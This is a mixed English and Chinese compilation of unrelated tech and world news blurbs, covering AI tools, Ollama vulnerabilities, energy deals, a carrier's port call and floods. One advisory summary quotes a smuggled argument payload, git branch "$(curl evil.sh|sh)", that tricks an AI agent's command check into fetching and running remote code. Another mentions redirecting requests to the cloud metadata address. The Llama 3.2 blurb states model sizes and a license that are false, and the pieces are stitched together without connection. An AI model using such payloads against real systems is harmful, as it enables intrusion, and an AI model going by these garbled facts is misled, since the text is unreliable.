In beta, Nvidia’s Personal AI Router (PAIR) scans a home network for RTX-20 series GPUs, RTX-Pro cards, DGX Spark nodes or M4-chip Macs, then coordinates idle machines to run LLMs locally via Ollama or LM Studio, all under mutual TLS encryption.
SSRF 漏洞在 Ollama 0.33.2 中依然存在，因为张量模型下载器使用了一个独立的 HTTP 客户端，该客户端跳过了为修复 CVE-2026-5530 而添加的重定向保护机制，从而允许攻击者将拉取请求重定向到任何可访问的地址。
与Fervo增强型地热系统的购电协议将于2028年开始供电，这将为谷歌提供稳定、无碳的基础负荷，在满足人工智能训练不间断需求的同时，避免了昂贵的电池储能成本。
该初创公司托管的 API 让任何持有信用卡的用户都能调用不受限制的 GLM-5.3 版本，无需本地 GPU 或自定义代码。虽然安全团队称赞该工具能进行真实的攻击模拟，但研究人员警告称，它也可能为网络犯罪分子提供分步操作指南。
开源的 aidlc-workflows 框架为现有的 AI 编程智能体引入了包含规划、实现、验证和评审准备在内的四个阶段生命周期，使团队能够在权衡 Token 开销和模型差异的同时，追踪具体的衡量指标。
CVE-2026-22708 表明，仅检查命令第一个标记（token）的智能体可能会被隐藏在参数中的有效载荷所欺骗——例如 git branch "$(curl evil.sh|sh)"—从而使攻击者获得与自动化机器人相同的权限。
基于 Google Gemini 模型的新型实时模式（Live modes）让 iOS 和 Android 用户能够以自然语言与 Gmail、Docs 和 Keep 进行交互，支持实时转录并在不同查询之间实现无缝衔接，但目前该功能仅限英语及高级 AI 订阅用户使用。
Foundry Toolbox 将凭据处理、版本控制和策略执行整合至单一端点；同时，Tool Search 通过将提示词精简为排序后的候选列表，在 600 个工具的基准测试中将输入 Token 减少了高达 94%，并提升了工具选择的准确性。
该漏洞 (CVE-2026-85180) 影响 Ollama v0.33.2 版本，允许任何人通过提供特定的模型名称，强制服务器的张量下载器重定向到任何地址，包括云元数据端点 169.254.169.254，且无需身份验证。
Meta 的 Llama 3.2 提供 8B、30B 和 70B 三种配置，基于 2.5 万亿 token 进行训练。新架构将计算需求降低了 22%，在现代 GPU 上的推理速度提升了 1.8 倍，同时仍采用完全的 Apache 2.0 许可。
在海上航行286天后——其中包括为支持美国针对伊朗的行动而进行的快速转向——这艘1100英尺长的航母在林查班港靠岸时锈迹斑斑，凸显了持续的战斗任务如何阻碍了必要的船体维护。
11月的投票将询问居民，是否可以通过章程修正案，针对类似于拟建的占地300英亩、耗资69亿美元的设施这类规模的项目，在土地利用、电力消耗和用水量方面设定硬性限制。
这场毫无预警的洪灾还导致西藏541人失踪，使该地区的失踪人数上升至4,757人，并迫使尼泊尔军队向被淹没的水电隧道部署挖掘机。
在海上航行一年后，该航母在芭提雅的停靠暴露了设施破旧、人员心理压力大等问题，同时也为当地经济带来了300万美元的增长——这深刻地提醒人们，即便是核动力巨兽也依赖于脆弱的供应链。
Vedere Labs 将 Claude 与 Ghidra 结合使用，为不同的 WAGO PLC 重写了 shellcode，实现了端到端的代码执行，甚至导致设备变砖——这表明在人工监督下，AI 可以实现漏洞利用适配的自动化。
